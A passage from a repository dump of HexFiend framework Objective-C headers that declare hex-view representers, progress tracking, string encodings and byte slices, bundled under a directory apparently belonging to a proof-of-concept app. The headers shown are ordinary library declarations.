| @property (readonly, copy) NSArray *representers; 54 | 55 | /*! Adds a new representer to the receiver, triggering relayout. */ 56 | - (void)addRepresenter:(HFRepresenter *)representer; 57 | 58 | /*! Removes a representer to the receiver (which must be present in the receiver's array of representers), triggering relayout. */ 59 | - (void)removeRepresenter:(HFRepresenter *)representer; 60 | //@} 61 | 62 | /*! When enabled, the receiver will attempt to maximize the bytes per line so as to consume as much as possible of the bounds rect. If this is YES, then upon relayout, the receiver will recalculate the maximum number of bytes per line that can fit in its boundsRectForLayout. If this is NO, then the receiver will not change the bytes per line. */ 63 | @property (nonatomic) BOOL maximizesBytesPerLine; 64 | 65 | /*! @name Layout 66 | Methods to get information about layout, and to explicitly trigger it. 67 | */ 68 | //@{ 69 | /*! Returns the smallest width that produces the same layout (and, if maximizes bytesPerLine, the same bytes per line) as the proposed width. */ 70 | - (CGFloat)minimumViewWidthForLayoutInProposedWidth:(CGFloat)proposedWidth; 71 | 72 | /*! Returns the maximum bytes per line that can fit in the proposed width (ignoring maximizesBytesPerLine). This is always a multiple of the bytesPerColumn, and always at least bytesPerColumn. */ 73 | - (NSUInteger)maximumBytesPerLineForLayoutInProposedWidth:(CGFloat)proposedWidth; 74 | 75 | /*! Returns the smallest width that can support the given bytes per line. */ 76 | - (CGFloat)minimumViewWidthForBytesPerLine:(NSUInteger)bytesPerLine; 77 | 78 | /*! Relayouts are triggered when representers are added and removed, or when the view is resized. You may call this explicitly to trigger a relayout. */ 79 | - (void)performLayout; 80 | //@} 81 | 82 | @end 83 | 84 | NS_ASSUME_NONNULL_END 85 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFLineCountingRepresenter.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFLineCountingRepresenter.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | /*! @enum HFLineNumberFormat 13 | HFLineNumberFormat is a simple enum used to determine whether line numbers are in decimal or hexadecimal format. 14 | */ 15 | typedef NS_ENUM(NSUInteger, HFLineNumberFormat) { 16 | HFLineNumberFormatDecimal, //!< Decimal line numbers 17 | HFLineNumberFormatHexadecimal, //!< Hexadecimal line numbers 18 | HFLineNumberFormatMAXIMUM //!< One more than the maximum valid line number format, so that line number formats can be cycled through easily 19 | }; 20 | 21 | /*! @class HFLineCountingRepresenter 22 | @brief The HFRepresenter used to show the "line number gutter." 23 | 24 | HFLineCountingRepresenter is the HFRepresenter used to show the "line number gutter." HFLineCountingRepresenter makes space for a certain number of digits. 25 | */ 26 | @interface HFLineCountingRepresenter : HFRepresenter { 27 | CGFloat lineHeight; 28 | NSUInteger digitsToRepresentContentsLength; 29 | NSUInteger minimumDigitCount; 30 | HFLineNumberFormat lineNumberFormat; 31 | NSInteger interiorShadowEdge; 32 | CGFloat preferredWidth; 33 | CGFloat digitAdvance; 34 | } 35 | 36 | /// The minimum digit count. The receiver will always ensure it is big enough to display at least the minimum digit count. The default is 2. 37 | @property (nonatomic) NSUInteger minimumDigitCount; 38 | 39 | /// The number of digits we are making space for. 40 | @property (readonly) NSUInteger digitCount; 41 | 42 | /// The current width that the HFRepresenter prefers to be laid out with. 43 | @property (readonly) CGFloat preferredWidth; 44 | 45 | /// The line number format. 46 | @property (nonatomic) HFLineNumberFormat lineNumberFormat; 47 | 48 | /// Switches to the next line number format. This is called from the view. 49 | - (void)cycleLineNumberFormat; 50 | 51 | /// The edge (as an NSRectEdge) on which the view draws an interior shadow. -1 means no edge. 52 | @property (nonatomic) NSInteger interiorShadowEdge; 53 | 54 | /*! The edges on which borders are drawn. The edge returned by interiorShadowEdge always has a border drawn. The edges are specified by a bitwise or of 1 left shifted by the NSRectEdge values. For example, to draw a border on the min x and max y edges use: (1 << NSMinXEdge) | (1 << NSMaxYEdge). 0 (or -1) specfies no edges. */ 55 | @property (nonatomic) NSInteger borderedEdges; 56 | 57 | @end 58 | 59 | /*! Notification posted when the HFLineCountingRepresenter's width has changed because the number of digits it wants to show has increased or decreased. The object is the HFLineCountingRepresenter; there is no user info. 60 | */ 61 | extern NSString *const HFLineCountingRepresenterMinimumViewWidthChanged; 62 | 63 | /*! Notification posted when the HFLineCountingRepresenter has cycled through the line number format. The object is the HFLineCountingRepresenter; there is no user info. 64 | */ 65 | extern NSString *const HFLineCountingRepresenterCycledLineNumberFormat; 66 | 67 | NS_ASSUME_NONNULL_END 68 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFLineCountingView.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFLineCountingView.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | @interface HFLineCountingView : NSView { 11 | NSDictionary *textAttributes; 12 | } 13 | 14 | @property (nullable, nonatomic, copy) NSFont *font; 15 | @property (nonatomic) CGFloat lineHeight; 16 | @property (nonatomic) HFFPRange lineRangeToDraw; 17 | @property (nonatomic) NSUInteger bytesPerLine; 18 | @property (nonatomic) HFLineNumberFormat lineNumberFormat; 19 | @property (nullable, nonatomic, weak) HFLineCountingRepresenter *representer; 20 | 21 | + (NSUInteger)digitsRequiredToDisplayLineNumber:(unsigned long long)lineNumber inFormat:(HFLineNumberFormat)format; 22 | 23 | @end 24 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFNSStringEncoding.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFNSStringEncoding.h 3 | // HexFiend_Framework 4 | // 5 | // Created by Kevin Wojniak on 6/16/18. 6 | // Copyright © 2018 ridiculous_fish. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | NS_ASSUME_NONNULL_BEGIN 12 | 13 | @interface HFNSStringEncoding : HFStringEncoding 14 | 15 | - (instancetype)initWithEncoding:(NSStringEncoding)encoding name:(NSString *)name identifier:(NSString *)identifier; 16 | 17 | @property NSStringEncoding encoding; 18 | 19 | @end 20 | 21 | NS_ASSUME_NONNULL_END 22 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFPasteboardOwner.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFPasteboardOwner.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2008 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | @class HFByteArray, HFProgressTracker; 13 | 14 | extern NSString *const HFPrivateByteArrayPboardType; 15 | 16 | @interface HFPasteboardOwner : NSObject { 17 | @private 18 | HFByteArray *byteArray; 19 | NSPasteboard *pasteboard; //not retained 20 | IBOutlet NSWindow *progressTrackingWindow; 21 | IBOutlet NSProgressIndicator *progressTrackingIndicator; 22 | IBOutlet NSTextField *progressTrackingDescriptionTextField; 23 | HFProgressTracker *progressTracker; 24 | unsigned long long dataAmountToCopy; 25 | NSUInteger bytesPerLine; 26 | BOOL retainedSelfOnBehalfOfPboard; 27 | BOOL backgroundCopyOperationFinished; 28 | BOOL didStartModalSessionForBackgroundCopyOperation; 29 | NSString *byteArrayMapKey; 30 | } 31 | 32 | /* Creates an HFPasteboardOwner to own the given pasteboard with the given types. Note that the NSPasteboard retains its owner. */ 33 | + (instancetype)ownPasteboard:(NSPasteboard *)pboard forByteArray:(HFByteArray *)array withTypes:(NSArray *)types; 34 | - (HFByteArray *)byteArray; 35 | 36 | /* Performs a copy to pasteboard with progress reporting. This must be overridden if you support types other than the private pboard type. */ 37 | - (void)writeDataInBackgroundToPasteboard:(NSPasteboard *)pboard ofLength:(unsigned long long)length forType:(NSString *)type trackingProgress:(nullable HFProgressTracker *)tracker; 38 | 39 | /* NSPasteboard delegate methods, declared here to indicate that subclasses should call super */ 40 | - (void)pasteboard:(NSPasteboard *)sender provideDataForType:(NSString *)type; 41 | - (void)pasteboardChangedOwner:(NSPasteboard *)pboard; 42 | 43 | /* Useful property that several pasteboard types want to know */ 44 | @property (nonatomic) NSUInteger bytesPerLine; 45 | 46 | /* For efficiency, Hex Fiend writes pointers to HFByteArrays into pasteboards. In the case that the user quits and relaunches Hex Fiend, we don't want to read a pointer from the old process, so each process we generate a UUID. This is constant for the lifetime of the process. */ 47 | + (NSString *)uuid; 48 | 49 | /* Unpacks a byte array from a pasteboard, preferring HFPrivateByteArrayPboardType */ 50 | + (nullable HFByteArray *)unpackByteArrayFromPasteboard:(NSPasteboard *)pasteboard; 51 | 52 | /* Used to handle the case where copying data will require a lot of memory and give the user a chance to confirm. */ 53 | - (unsigned long long)amountToCopyForDataLength:(unsigned long long)numBytes stringLength:(unsigned long long)stringLength; 54 | 55 | /* Must be overridden to return the length of a string containing this number of bytes. */ 56 | - (unsigned long long)stringLengthForDataLength:(unsigned long long)dataLength; 57 | 58 | @end 59 | 60 | NS_ASSUME_NONNULL_END 61 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFProgressTracker.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFProgressTracker.h 3 | // HexFiend_2 4 | // 5 | // Created by peter on 2/12/08. 6 | // Copyright 2008 ridiculous_fish. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | NS_ASSUME_NONNULL_BEGIN 12 | 13 | /*! 14 | @class HFProgressTracker 15 | @brief A class that helps handle progress indication and cancellation for long running threaded operations. 16 | 17 | HFProgressTracker is a class that helps handle progress indication and cancellation for long running threaded operations, while imposing minimal overhead. Operations such as Find/Replace or Save take an HFProgressTracker to provide cancellation and progress reporting. 18 | 19 | The thread is expected to write directly into the public currentProgress field (perhaps with atomic functions) as it makes progress. Once beginTrackingProgress is called, the HFProgressTracker will poll currentProgress until endTrackingProgress is called. 20 | 21 | The thread is also expected to read directly from cancelRequested, which is set by the requestCancel method. If requestCancel is set, it should end the operation. 22 | 23 | Lastly, the thread is expected to call noteFinished: when it is done, either through cancellation or completing normally. 24 | 25 | On the client side, you can set a delegate. progressTracker: didChangeProgressTo: is called on your delegate at regular intervals in the main thread, as the progress changes. Likewise, progressTrackerDidFinish: is called on the main thread after noteFinished: is called. 26 | 27 | There is also a progressIndicator property, which if set to an NSProgressIndicator will cause it to be updated regularly. 28 | 29 | */ 30 | 31 | @interface HFProgressTracker : NSObject { 32 | @public 33 | volatile unsigned long long currentProgress; 34 | volatile int cancelRequested; 35 | @private 36 | unsigned long long maxProgress; 37 | #if !TARGET_OS_IPHONE 38 | NSProgressIndicator *progressIndicator; 39 | #endif 40 | NSTimer *progressTimer; 41 | double lastSetValue; 42 | id delegate; 43 | } 44 | 45 | /*! 46 | HFProgressTracker determines the progress as an unsigned long long, but passes the progress to the delegate as a double, which is computed as the current progress divided by the max progress. 47 | */ 48 | @property (nonatomic) unsigned long long maxProgress; 49 | 50 | /*! 51 | The userInfo property is a convenience to allow passing information to the thread. The property is not thread safe - the expectation is that the main thread will set it before the operation starts, and the background thread will read it once after the operation starts. 52 | */ 53 | @property (nonatomic, copy) NSDictionary *userInfo; 54 | 55 | #if !TARGET_OS_IPHONE 56 | /*! 57 | The progressIndicator property allows an NSProgressIndicator to be associated with the HFProgressTracker. The progress indicator should have values in the range 0 to 1, and it will be updated with the fraction currentProgress / maxProgress. 58 | */ 59 | @property (nullable, nonatomic, strong) NSProgressIndicator *progressIndicator; 60 | #endif 61 | 62 | /*! 63 | Called to indicate you want to begin tracking the progress, which means that the progress indicator will be updated, and the delegate callbacks may fire. 64 | */ 65 | - (void)beginTrackingProgress; 66 | 67 | /*! 68 | Called to indicate you want to end tracking progress. The progress indicator will no longer be updated. 69 | */ 70 | - (void)endTrackingProgress; 71 | 72 | /*! 73 | noteFinished: should be called by the thread when it is done. It is safe to call this from the background thread. 74 | */ 75 | - (void)noteFinished:(id)sender; 76 | 77 | /*! 78 | requestCancel: may be called to mark the cancelRequested variable. The thread should poll this variable to determine if it needs to cancel. 79 | */ 80 | - (void)requestCancel:(id)sender; 81 | 82 | /*! 83 | Set and get the delegate, which may implement the optional methods below. 84 | */ 85 | @property (nullable, nonatomic, weak) id delegate; 86 | 87 | @end 88 | 89 | 90 | /*! 91 | @protocol HFProgressTrackerDelegate 92 | @brief The delegate methods for the HFProgressTracker class. 93 | 94 | The HFProgressTrackerDelegate methods are called on the the HFProgressTracker's delegate. These are always called on the main thread. 95 | */ 96 | @protocol HFProgressTrackerDelegate 97 | 98 | /*! 99 | Once beginTrackingProgress is called, this is called on the delegate at regular intervals to report on the new progress. 100 | */ 101 | - (void)progressTracker:(HFProgressTracker *)tracker didChangeProgressTo:(double)fraction; 102 | 103 | /*! 104 | Once the thread has called noteFinished:, this is called on the delegate in the main thread to report that the background thread is done. 105 | */ 106 | - (void)progressTrackerDidFinish:(HFProgressTracker *)tracker; 107 | 108 | @end 109 | 110 | NS_ASSUME_NONNULL_END 111 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFRepresenter.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFRepresenter.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | /*! @class HFRepresenter 13 | @brief The principal view class of Hex Fiend's MVC architecture. 14 | 15 | HFRepresenter is a class that visually represents some property of the HFController, such as the data (in various formats), the scroll position, the line number, etc. An HFRepresenter is added to an HFController and then gets notified of changes to various properties, through the controllerDidChange: methods. 16 | 17 | HFRepresenters also have a view, accessible through the -view method. The HFRepresenter is expected to update its view to reflect the relevant properties of its HFController. If the user can interact with the view, then the HFRepresenter should pass any changes down to the HFController, which will subsequently notify all HFRepresenters of the change. 18 | 19 | HFRepresenter is an abstract class, with a different subclass for each possible view type. Because HFController interacts with HFRepresenters, rather than views directly, an HFRepresenter can use standard Cocoa views and controls. 20 | 21 | To add a new view type: 22 | 23 | -# Create a subclass of HFRepresenter 24 | -# Override \c -createView to return a view (note that this method should transfer ownership) 25 | -# Override \c -controllerDidChange:, checking the bitmask to see what properties have changed and updating your view as appropriate 26 | -# If you plan on using this view together with other views, override \c +defaultLayoutPosition to control how your view gets positioned in an HFLayoutRepresenter 27 | -# If your view's width depends on the properties of the controller, override some of the measurement methods, such as \c +maximumBytesPerLineForViewWidth:, so that your view gets sized correctly 28 | 29 | */ 30 | @interface HFRepresenter : NSObject { 31 | @private 32 | HFView *view; 33 | __weak HFController *controller; 34 | #if !TARGET_OS_IPHONE 35 | NSPoint layoutPosition; 36 | #endif 37 | } 38 | 39 | /*! @name View management 40 | Methods related to accessing and initializing the representer's view. 41 | */ 42 | //@{ 43 | /*! Returns the view for the receiver, creating it if necessary. The view for the HFRepresenter is initially nil. When the \c -view method is called, if the view is nil, \c -createView is called and then the result is stored. This method should not be overridden; however you may want to call it to access the view. 44 | */ 45 | - (HFView *)view; 46 | 47 | /*! Returns YES if the view has been created, NO if it has not. To create the view, call the view method. 48 | */ 49 | - (BOOL)isViewLoaded; 50 | 51 | /*! Override point for creating the view displaying this representation. This is called on your behalf the first time the \c -view method is called, so you would not want to call this explicitly; however this method must be overridden. This follows the "create" rule, and so it should return a retained view. 52 | */ 53 | - (HFView *)createView; 54 | 55 | /*! Override point for initialization of view, after the HFRepresenter has the view set as its -view property. The default implementation does nothing. 56 | */ 57 | - (void)initializeView; 58 | 59 | //@} 60 | 61 | /*! @name Accessing the HFController 62 | */ 63 | //@{ 64 | /*! Returns the HFController for the receiver. This is set by the controller from the call to \c addRepresenter:. A representer can only be in one controller at a time. */ 65 | - (nullable HFController *)controller; 66 | //@} 67 | 68 | /*! @name Property change notifications 69 | */ 70 | //@{ 71 | /*! Indicates that the properties indicated by the given bits did change, and the view should be updated as to reflect the appropriate properties. This is the main mechanism by which representers are notified of changes to the controller. 72 | */ 73 | - (void)controllerDidChange:(HFControllerPropertyBits)bits; 74 | //@} 75 | 76 | /*! @name HFController convenience methods 77 | Convenience covers for certain HFController methods 78 | */ 79 | //@{ 80 | /*! Equivalent to [[self controller] bytesPerLine] */ 81 | - (NSUInteger)bytesPerLine; 82 | 83 | /*! Equivalent to [[self controller] bytesPerColumn] */ 84 | - (NSUInteger)bytesPerColumn; 85 | 86 | /*! Equivalent to [[self controller] representer:self changedProperties:properties] . You may call this when some internal aspect of the receiver's view (such as its frame) has changed in a way that may globally change some property of the controller, and the controller should recalculate those properties. For example, the text representers call this with HFControllerDisplayedLineRange when the view grows vertically, because more data may be displayed. 87 | */ 88 | - (void)representerChangedProperties:(HFControllerPropertyBits)properties; 89 | //@} 90 | 91 | /*! @name Measurement 92 | Methods related to measuring the HFRepresenter, so that it can be laid out properly by an HFLayoutController. All of these methods are candidates for overriding. 93 | */ 94 | //@{ 95 | /*! Returns the maximum number of bytes per line for the given view size. The default value is NSUIntegerMax, which means that the representer can display any number of lines for the given view size. */ 96 | - (NSUInteger)maximumBytesPerLineForViewWidth:(CGFloat)viewWidth; 97 | 98 | /*! Returns the minimum view frame size for the given bytes per line. Default is to return 0, which means that the representer can display the given bytes per line in any view size. Fixed width views should return their fixed width. */ 99 | - (CGFloat)minimumViewWidthForBytesPerLine:(NSUInteger)bytesPerLine; 100 | 101 | /*! Returns the maximum number of lines that could be displayed at once for a given view height. Default is to return DBL_MAX. */ 102 | - (double)maximumAvailableLinesForViewHeight:(CGFloat)viewHeight; 103 | //@} 104 | 105 | /*! Returns the required byte granularity. HFLayoutRepresenter will constrain the bytes per line to a multiple of the granularity, e.g. so that UTF-16 characters are not split across lines. If different representers have different granularities, then it will constrain it to a multiple of all granularities, which may be very large. The default implementation returns 1. */ 106 | - (NSUInteger)byteGranularity; 107 | 108 | /*! @name Auto-layout methods 109 | Methods for simple auto-layout by HFLayoutRepresenter. See the HFLayoutRepresenter class for discussion of how it lays out representer views. 110 | */ 111 | //@{ 112 | 113 | 114 | #if !TARGET_OS_IPHONE 115 | /// The layout position for the receiver. 116 | @property (nonatomic) NSPoint layoutPosition; 117 | 118 | /*! Returns the default layout position for representers of this class. Within the -init method, the view's layout position is set to the default for this class. You may override this to control the default layout position. See HFLayoutRepresenter for a discussion of the significance of the layout postition. 119 | */ 120 | + (NSPoint)defaultLayoutPosition; 121 | #endif 122 | 123 | //@} 124 | 125 | 126 | @end 127 | 128 | NS_ASSUME_NONNULL_END 129 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFRepresenterTextView.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFRepresenterTextView.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | /* Bytes per column philosophy 11 | 12 | _hftvflags.bytesPerColumn is the number of bytes that should be displayed consecutively, as one column. A space separates one column from the next. HexFiend 1.0 displayed 1 byte per column, and setting bytesPerColumn to 1 in this version reproduces that behavior. The vertical guidelines displayed by HexFiend 1.0 are only drawn when bytesPerColumn is set to 1. 13 | 14 | We use some number of bits to hold the number of bytes per column, so the highest value we can store is ((2 ^ numBits) - 1). We can't tell the user that the max is not a power of 2, so we pin the value to the highest representable power of 2, or (2 ^ (numBits - 1)). We allow integral values from 0 to the pinned maximum, inclusive; powers of 2 are not required. The setter method uses HFTV_BYTES_PER_COLUMN_MAX_VALUE to stay within the representable range. 15 | 16 | Since a value of zero is nonsensical, we can use it to specify no spaces at all. 17 | */ 18 | 19 | NS_ASSUME_NONNULL_BEGIN 20 | 21 | #define HFTV_BYTES_PER_COLUMN_MAX_VALUE (1 << (HFTV_BYTES_PER_COLUMN_BITFIELD_SIZE - 1)) 22 | 23 | @class HFTextRepresenter; 24 | 25 | 26 | /* The base class for HFTextRepresenter views - such as the hex or ASCII text view */ 27 | @interface HFRepresenterTextView : HFView 28 | { 29 | @private; 30 | __weak HFTextRepresenter *representer; 31 | NSArray *cachedSelectedRanges; 32 | NSArray *cachedColorRanges; 33 | CGFloat verticalOffset; 34 | CGFloat horizontalContainerInset; 35 | CGFloat defaultLineHeight; 36 | NSTimer *caretTimer; 37 | #if !TARGET_OS_IPHONE 38 | NSWindow *pulseWindow; 39 | #endif 40 | CGRect pulseWindowBaseFrameInScreenCoordinates; 41 | CGRect lastDrawnCaretRect; 42 | CGRect caretRectToDraw; 43 | NSUInteger bytesBetweenVerticalGuides; 44 | NSUInteger startingLineBackgroundColorIndex; 45 | NSArray *rowBackgroundColors; 46 | NSMutableDictionary *callouts; 47 | 48 | void (^byteColoring)(uint8_t byte, uint8_t *r, uint8_t *g, uint8_t *b, uint8_t *a); 49 | 50 | struct { 51 | unsigned antialias:1; 52 | unsigned drawCallouts:1; 53 | unsigned editable:1; 54 | unsigned caretVisible:1; 55 | unsigned registeredForAppNotifications:1; 56 | unsigned withinMouseDown:1; 57 | unsigned receivedMouseUp:1; 58 | } _hftvflags; 59 | } 60 | 61 | - (instancetype)initWithRepresenter:(HFTextRepresenter *)rep; 62 | - (void)clearRepresenter; 63 | 64 | - (HFTextRepresenter *)representer; 65 | 66 | @property (nonatomic, copy) HFFont *font; 67 | 68 | /* Set and get data. setData: will invalidate the correct regions (perhaps none) */ 69 | @property (nonatomic, copy) NSData *data; 70 | @property (nonatomic) CGFloat verticalOffset; 71 | @property (nonatomic) NSUInteger startingLineBackgroundColorIndex; 72 | @property (nonatomic, getter=isEditable) BOOL editable; 73 | @property (nullable, nonatomic, copy) NSArray *styles; 74 | @property (nonatomic) BOOL shouldAntialias; 75 | 76 | - (BOOL)behavesAsTextField; 77 | - (BOOL)showsFocusRing; 78 | - (BOOL)isWithinMouseDown; 79 | 80 | - (CGRect)caretRect; 81 | 82 | - (void)setBookmarks:(NSDictionary *)bookmarks; 83 | @property (nonatomic) BOOL shouldDrawCallouts; 84 | 85 | - (void)setByteColoring:(nullable void (^)(uint8_t byte, uint8_t *r, uint8_t *g, uint8_t *b, uint8_t *a))coloring; 86 | 87 | - (CGPoint)originForCharacterAtByteIndex:(NSInteger)index; 88 | - (NSUInteger)indexOfCharacterAtPoint:(CGPoint)point; 89 | 90 | /* The amount of padding space to inset from the left and right side. */ 91 | @property (nonatomic) CGFloat horizontalContainerInset; 92 | 93 | /* The number of bytes between vertical guides. 0 means no drawing of guides. */ 94 | @property (nonatomic) NSUInteger bytesBetweenVerticalGuides; 95 | 96 | /* For font substitution. An index of 0 means the default (base) font. */ 97 | - (HFFont *)fontAtSubstitutionIndex:(uint16_t)idx; 98 | 99 | /* Uniformly "rounds" the byte range so that it contains an integer number of characters. The algorithm is to "floor:" any character intersecting the min of the range are included, and any character extending beyond the end of the range is excluded. If both the min and the max are within a single character, then an empty range is returned. */ 100 | - (NSRange)roundPartialByteRange:(NSRange)byteRange; 101 | 102 | /* Must be overridden */ 103 | - (void)extractGlyphsForBytes:(const unsigned char *)bytes count:(NSUInteger)numBytes offsetIntoLine:(NSUInteger)offsetIntoLine intoArray:(struct HFGlyph_t *)glyphs advances:(CGSize *)advances resultingGlyphCount:(NSUInteger *)resultGlyphCount; 104 | 105 | - (void)extractGlyphsForBytes:(const unsigned char *)bytePtr range:(NSRange)byteRange intoArray:(struct HFGlyph_t *)glyphs advances:(CGSize *)advances withInclusionRanges:(NSArray *)restrictingToRanges initialTextOffset:(CGFloat *)initialTextOffset resultingGlyphCount:(nullable NSUInteger *)resultingGlyphCount; 106 | 107 | /* Must be overridden - returns the max number of glyphs for a given number of bytes */ 108 | - (NSUInteger)maximumGlyphCountForByteCount:(NSUInteger)byteCount; 109 | 110 | - (void)updateSelectedRanges; 111 | - (void)updateSelectionPulse; 112 | 113 | /* Given a rect edge, return an NSRect representing the maximum edge in that direction. The dimension in the direction of the edge is 0 (so if edge is NSMaxXEdge, the resulting width is 0). The returned rect is in the coordinate space of the receiver's view. If the byte range is not displayed, returns NSZeroRect. 114 | */ 115 | - (CGRect)furthestRectOnEdge:(CGRectEdge)edge forRange:(NSRange)range; 116 | 117 | /* The background color for the line at the given index. You may override this to return different colors. You may return nil to draw no color in this line (and then the empty space color will appear) */ 118 | - (nullable HFColor *)backgroundColorForLine:(NSUInteger)line; 119 | - (HFColor *)backgroundColorForEmptySpace; 120 | 121 | /* Defaults to 1, may override */ 122 | - (NSUInteger)bytesPerCharacter; 123 | 124 | /* Cover method for [[self representer] bytesPerLine] and [[self representer] bytesPerColumn] */ 125 | - (NSUInteger)bytesPerLine; 126 | - (NSUInteger)bytesPerColumn; 127 | 128 | - (CGFloat)lineHeight; 129 | 130 | /* Following two must be overridden */ 131 | - (CGFloat)advanceBetweenColumns; 132 | - (CGFloat)advancePerCharacter; 133 | 134 | - (CGFloat)advancePerColumn; 135 | - (CGFloat)totalAdvanceForBytesInRange:(NSRange)range; 136 | 137 | /* Returns the number of lines that could be shown in this view at its given height (expressed in its local coordinate space) */ 138 | - (double)maximumAvailableLinesForViewHeight:(CGFloat)viewHeight; 139 | 140 | - (NSUInteger)maximumBytesPerLineForViewWidth:(CGFloat)viewWidth; 141 | - (CGFloat)minimumViewWidthForBytesPerLine:(NSUInteger)bytesPerLine; 142 | 143 | - (IBAction)selectAll:sender; 144 | 145 | @end 146 | 147 | #if !TARGET_OS_IPHONE 148 | @interface NSObject (HFRepresenterTextDelegate) 149 | 150 | - (void)representerTextView:(HFRepresenterTextView *)sender menu:(NSMenu *)menu forEvent:(NSEvent *)event atPosition:(NSUInteger)position; 151 | 152 | @end 153 | #endif 154 | 155 | NS_ASSUME_NONNULL_END 156 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFSharedMemoryByteSlice.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFSharedMemoryByteSlice.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2008 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | /*! @class HFSharedMemoryByteSlice 13 | @brief A subclass of HFByteSlice for working with data stored in memory. 14 | 15 | HFSharedMemoryByteSlice is a subclass of HFByteSlice that represents a portion of data from memory, e.g. typed or pasted in by the user. The term "shared" refers to the ability for mutiple HFSharedMemoryByteSlices to reference the same NSData; it does not mean that the data is in shared memory or shared between processes. 16 | 17 | Instances of HFSharedMemoryByteSlice are immutable (like all instances of HFByteSlice). However, to support efficient typing, the backing data is an instance of NSMutableData that may be grown. A referenced range of the NSMutableData will never have its contents changed, but it may be allowed to grow larger, so that the data does not have to be copied merely to append a single byte. This is implemented by overriding the -byteSliceByAppendingSlice: method of HFByteSlice. 18 | */ 19 | @interface HFSharedMemoryByteSlice : HFByteSlice { 20 | NSMutableData *data; 21 | NSUInteger offset; 22 | NSUInteger length; 23 | unsigned char inlineTailLength; 24 | unsigned char inlineTail[15]; //size chosen to exhaust padding of 32-byte allocator 25 | } 26 | 27 | // copies the data 28 | - (instancetype)initWithUnsharedData:(NSData *)data; 29 | 30 | // retains, does not copy 31 | - (instancetype)initWithData:(NSMutableData *)data; 32 | - (instancetype)initWithData:(NSMutableData *)data offset:(NSUInteger)offset length:(NSUInteger)length; 33 | 34 | @end 35 | 36 | NS_ASSUME_NONNULL_END 37 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFStatusBarRepresenter.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFStatusBarRepresenter.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | /*! @enum HFStatusBarMode 11 | The HFStatusBarMode enum is used to describe the format of the byte counts displayed by the status bar. 12 | */ 13 | typedef NS_ENUM(NSUInteger, HFStatusBarMode) { 14 | HFStatusModeDecimal, ///< The status bar should display byte counts in decimal 15 | HFStatusModeHexadecimal, ///< The status bar should display byte counts in hexadecimal 16 | HFStatusModeApproximate, ///< The text should display byte counts approximately (e.g. "56.3 KB") 17 | HFSTATUSMODECOUNT ///< The number of modes, to allow easy cycling 18 | }; 19 | 20 | /*! @class HFStatusBarRepresenter 21 | @brief The HFRepresenter for the status bar. 22 | 23 | HFStatusBarRepresenter is a subclass of HFRepresenter responsible for showing the status bar, which displays information like the total length of the document, or the number of selected bytes. 24 | */ 25 | @interface HFStatusBarRepresenter : HFRepresenter 26 | 27 | @property (nonatomic) HFStatusBarMode statusMode; 28 | 29 | @end 30 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFStringEncoding.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFStringEncoding.h 3 | // HexFiend_Framework 4 | // 5 | // Created by Kevin Wojniak on 6/16/18. 6 | // Copyright © 2018 ridiculous_fish. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | NS_ASSUME_NONNULL_BEGIN 12 | 13 | @interface HFStringEncoding : NSObject 14 | 15 | @property (readonly) NSString *name; 16 | @property (readonly) NSString *identifier; 17 | @property (readonly) uint8_t fixedBytesPerCharacter; 18 | @property (readonly) BOOL isASCII; 19 | 20 | - (NSString *)stringFromBytes:(const unsigned char *)bytes length:(NSUInteger)length; 21 | - (nullable NSData *)dataFromString:(NSString *)string; 22 | 23 | - (NSComparisonResult)compare:(HFStringEncoding *)other; 24 | 25 | @end 26 | 